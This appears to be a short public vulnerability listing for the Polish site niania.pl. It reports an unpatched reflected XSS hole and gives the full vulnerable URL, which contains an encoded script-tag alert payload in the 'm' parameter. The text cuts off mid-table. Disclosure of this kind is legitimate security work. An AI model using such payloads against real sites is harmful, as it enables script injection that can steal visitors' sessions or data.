niania.pl XSS vulnerability

Vulnerable URL: http://www.niania.pl/?m=%22%3E%3Cscript%3Ealert%28/XSSPOSED/%29%3C%2Fscript%3E&trace=YmFieWJvb20ucG9tb2NlZG9tb3dlLnBsL0dGV1hXbGNUZWl5eC96eXdpZW5pZS5odG1s Details: Description| Value ---|--- Patched:| No Latest check for patch:| 25.07.2017 Vulnerability type:| XSS Vulnerability...